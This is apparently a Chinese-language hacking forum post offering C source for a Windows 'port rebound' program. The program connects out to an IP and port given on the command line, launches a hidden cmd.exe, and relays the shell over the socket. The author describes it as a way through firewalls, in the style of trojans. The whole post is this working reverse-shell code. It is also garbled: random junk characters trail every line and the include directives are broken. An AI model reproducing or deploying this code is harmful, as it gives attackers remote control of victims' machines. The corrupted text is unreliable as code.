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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >UWL T;N/W  
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/* ============================== -H'_%~OV(  
Rebound port in Windows NT c@5fiRPv!  
By wind,2006/7 7 fqK{^ L  
===============================*/ wL5IAkq  
#include ch \*/  
#include ;&;coH8`  
X\X  
#pragma comment(lib,"wsock32.lib") =n9adq  
>xJt&jW-  
void OutputShell(); {B?%r[nW  
SOCKET sClient; 0 6 K8|K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ` n@[=l~  
' OdZ[AN  
void main(int argc,char **argv) mL18FR N  
{ $ 7O[|:Yv  
WSADATA stWsaData; !*?&V3!  
int nRet; `k^ i#Nc>  
SOCKADDR_IN stSaiClient,stSaiServer; 3=T<c?[  
N$p}rh#7{  
if(argc != 3) i*W8_C:S  
{ #}:VZ2Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); "g>uNtt~  
return; ~W%A8`9  
} Wy)|-Q7  
1fViW^l_  
WSAStartup(MAKEWORD(2,2),&stWsaData); |>jlY|  
WI[6 l6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 92+({ fg W  
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stSaiClient.sin_family = AF_INET; zdU<]ge  
stSaiClient.sin_port = htons(0); "MM7qV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mK@\6GOMYP  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yY[[)  
{ Dn<2.!ZKQ  
printf("Bind Socket Failed!\n"); v-42_}  
return; $C,f>^1  
} H Y.,f_m  
2Z7smDJ  
stSaiServer.sin_family = AF_INET; JNuo+Pq  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1g2%f9G  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7&'^H8V  
@hQ+pG@s  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W(~G^Xu  
{ tojJQ6;J  
printf("Connect Error!"); Z9~~vf#  
return; V<:kS  
} HR.S.(t[_  
OutputShell(); +qD4`aI   
} 4-ZiKM  
}I#;~|v~<  
void OutputShell() < LzN/I aJ  
{ B/i,QBPF]  
char szBuff[1024]; Q(oWaG  
SECURITY_ATTRIBUTES stSecurityAttributes; 7.8ukAud  
OSVERSIONINFO stOsversionInfo; RTHdL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [^1;8Tbk  
STARTUPINFO stStartupInfo; $M$oNOT}Y  
char *szShell; T 7Lk4cU  
PROCESS_INFORMATION stProcessInformation; K&D -1u  
unsigned long lBytesRead; \P&'4y~PL  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s/`4]B;2U  
k-b_ <Tbo|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); at6f(+  
stSecurityAttributes.lpSecurityDescriptor = 0; }1N)3~  
stSecurityAttributes.bInheritHandle = TRUE; `@")R-  
s-*8=  
YPf&y"E&H  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $-5iwZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8^c|9ow  
\1aj!)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  5t:4%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xg. d)n  
stStartupInfo.wShowWindow = SW_HIDE; F3,hx  
stStartupInfo.hStdInput = hReadPipe; GB^Ch YOb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]*sXISg1  
qB<D'h7  
GetVersionEx(&stOsversionInfo); S%mN6b~{  
+]`MdOu  
switch(stOsversionInfo.dwPlatformId) _BHb0zeot  
{ 9.#\GI ;  
case 1: (+CB)nV0IA  
szShell = "command.com"; D GOc!  
break; 7KuTC%7  
default: @6h=O`X>  
szShell = "cmd.exe"; "%qGcC8  
break; A}H)ojG'v  
} *2=:(OK  
vRRi"bo  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8'Z9Z*^h#x  
i?4vdL8M  
send(sClient,szMsg,77,0); c .KpXY  
while(1) &P[eA u  
{ AM'-(x|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -Ww'wH'2  
if(lBytesRead) 3$(1LN  
{ E-.M+[   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'S@h._q  
send(sClient,szBuff,lBytesRead,0); QmbD%kW`3  
} b==<7[8  
else Q4CxtY  
{ q:J,xC_sF(  
lBytesRead=recv(sClient,szBuff,1024,0); -UUP hGC  
if(lBytesRead<=0) break; NnrX64|0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jP@H$$-=wH  
} [M Z'i/  
} IUbYw~f3  
2[qO;js  
return; X/2Xr(z"k  
}
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